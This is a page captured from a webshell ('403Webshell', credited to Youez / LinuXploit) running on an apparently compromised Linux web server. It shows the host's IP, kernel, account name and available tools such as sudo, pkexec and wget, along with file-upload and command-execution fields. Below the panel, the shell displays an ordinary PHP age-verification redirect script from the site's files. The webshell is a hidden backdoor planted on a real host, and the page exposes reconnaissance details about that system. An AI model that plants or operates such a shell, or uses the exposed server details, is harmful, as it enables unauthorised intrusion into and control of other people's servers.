403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/babescartel.com/public_html/EmblemAVS/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/babescartel.com/public_html/EmblemAVS/EmblemAVS.ElevatedX.php
<?php
function custom_avs_redirect($redirect_page = 0){
	// Include EmblemAVS Library
	require_once 'EmblemAVS.Class.php';
	$siteId = isset($GLOBALS['SITE_ID']) ? (int)$GLOBALS['SITE_ID'] : (int)($GLOBALS['loadvars']['pini']['flags']['SITE_ID'] ?? 0);
	$subsiteRaw = $GLOBALS['SUBSITE_ID'] ?? ($GLOBALS['loadvars']['pini']['flags']['SUBSITE_ID'] ?? null);
	$subsiteId  = isset($subsiteRaw) ? (int)$subsiteRaw : null;
	$isTrial = isset($GLOBALS['TRIAL']) ? (int)$GLOBALS['TRIAL'] : null;

	$EmblemAVS = new EmblemAVS($siteId, $subsiteId);

	$getUserId = filter_input(INPUT_GET, 'user_id', FILTER_SANITIZE_SPECIAL_CHARS);
	$getUserName = filter_input(INPUT_GET, 'username', FILTER_SANITIZE_SPECIAL_CHARS);

	if( $getUserName !== null ){
		// Build the $successRedirectUrl, appending the necessary user_id and username parameters:
		$getEmblemParams = http_build_query([
			'user_id' => $getUserId,
			'username' => $getUserName
		]);

		$baseUrl = (!is_null($isTrial) ? ( $EmblemAVS->config['success_redirect_url_trial'] ?? $EmblemAVS->config['success_redirect_url'] ) : $EmblemAVS->config['success_redirect_url'] );
		$successRedirectUrl = $baseUrl . (strpos($baseUrl, '?') !== false ? '&' : '?') . $getEmblemParams;

		// Build the $emblemUserInfo Array:
		$emblemUserInfo = [
			// Logged In User Details:
			'user_id' 				=> $getUserId ?? null,
			'username' 				=> $getUserName,
			//'user_email'			=> '',
			'user_ip_address' 		=> $EmblemAVS->getUserIP(),

			// ghostArmy Emblem Specifics:
			'property_uuid'			=> $EmblemAVS->config['property_uuid'],
			'property_group_id' 	=> $EmblemAVS->config['property_group_id'],
			'enforce_geo' 			=> $EmblemAVS->config['enforce_geo'],
			'success_redirect_url' 	=> $successRedirectUrl,
		];

		$isUserAVS = $EmblemAVS->isUserAVS( $emblemUserInfo );

		if( $isUserAVS === false ){
			// Redirect URL to Emblem for Verification
			$emblemAVSRedirect = $EmblemAVS->getAVSRedirect( $emblemUserInfo );

			// Check if $emblemAVSRedirect is a valid URL
			if (filter_var($emblemAVSRedirect, FILTER_VALIDATE_URL) === false) {
				// Display the EmblemAVS.Error.php template
				if( file_exists( $EmblemAVS->config['emblem_absolute_path'] . 'EmblemAVS.Error.php' ) ){
					include $EmblemAVS->config['emblem_absolute_path'] . 'EmblemAVS.Error.php';
					exit;
				}
			}

			return $emblemAVSRedirect;
		} else {
			// Redirect URL to success_redirect_url
			return $emblemUserInfo['success_redirect_url'];
		}
	}
}

function custom_avs_confirm(){
	// Include EmblemAVS Library
	require_once 'EmblemAVS.Class.php';
	$siteId = isset($GLOBALS['SITE_ID']) ? (int)$GLOBALS['SITE_ID'] : (int)($GLOBALS['loadvars']['pini']['flags']['SITE_ID'] ?? 0);
	$subsiteRaw = $GLOBALS['SUBSITE_ID'] ?? ($GLOBALS['loadvars']['pini']['flags']['SUBSITE_ID'] ?? null);
	$subsiteId  = isset($subsiteRaw) ? (int)$subsiteRaw : null;
	$isTrial = isset($GLOBALS['TRIAL']) ? (int)$GLOBALS['TRIAL'] : null;

	$EmblemAVS = new EmblemAVS($siteId, $subsiteId);

	$getUserId = filter_input(INPUT_GET, 'user_id', FILTER_SANITIZE_SPECIAL_CHARS);
	$getUserName = filter_input(INPUT_GET, 'username', FILTER_SANITIZE_SPECIAL_CHARS);

	if( $getUserName !== null ){
		// Build the $successRedirectUrl, appending the necessary user_id and username parameters:
		$getEmblemParams = http_build_query([
			'user_id' => $getUserId,
			'username' => $getUserName
		]);

		$baseUrl = (!is_null($isTrial) ? ( $EmblemAVS->config['success_redirect_url_trial'] ?? $EmblemAVS->config['success_redirect_url'] ) : $EmblemAVS->config['success_redirect_url'] );
		$successRedirectUrl = $baseUrl . (strpos($baseUrl, '?') !== false ? '&' : '?') . $getEmblemParams;

		// Build the $emblemUserInfo Array:
		$emblemUserInfo = [
			// Logged In User Details:
			'user_id' 				=> $getUserId ?? null,
			'username' 				=> $getUserName,
			//'user_email'			=> '',
			'user_ip_address' 		=> $EmblemAVS->getUserIP(),

			// ghostArmy Emblem Specifics:
			'property_uuid'			=> $EmblemAVS->config['property_uuid'],
			'property_group_id' 	=> $EmblemAVS->config['property_group_id'],
			'enforce_geo' 			=> $EmblemAVS->config['enforce_geo'],
			'success_redirect_url' 	=> $successRedirectUrl,
		];

		$isUserAVS = $EmblemAVS->isUserAVS( $emblemUserInfo );

		if( $isUserAVS === false ){
			// Redirect URL to Emblem for Verification
			$emblemAVSRedirect = $EmblemAVS->getAVSRedirect( $emblemUserInfo );

			// Check if $emblemAVSRedirect is a valid URL
			if (filter_var($emblemAVSRedirect, FILTER_VALIDATE_URL) === false) {
				// Display the EmblemAVS.Error.php template
				if( file_exists( $EmblemAVS->config['emblem_absolute_path'] . 'EmblemAVS.Error.php' ) ){
					include $EmblemAVS->config['emblem_absolute_path'] . 'EmblemAVS.Error.php';
					exit;
				}
			}

			return $emblemAVSRedirect;
		} else {
			return true;
		}
	} else {
		return false;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit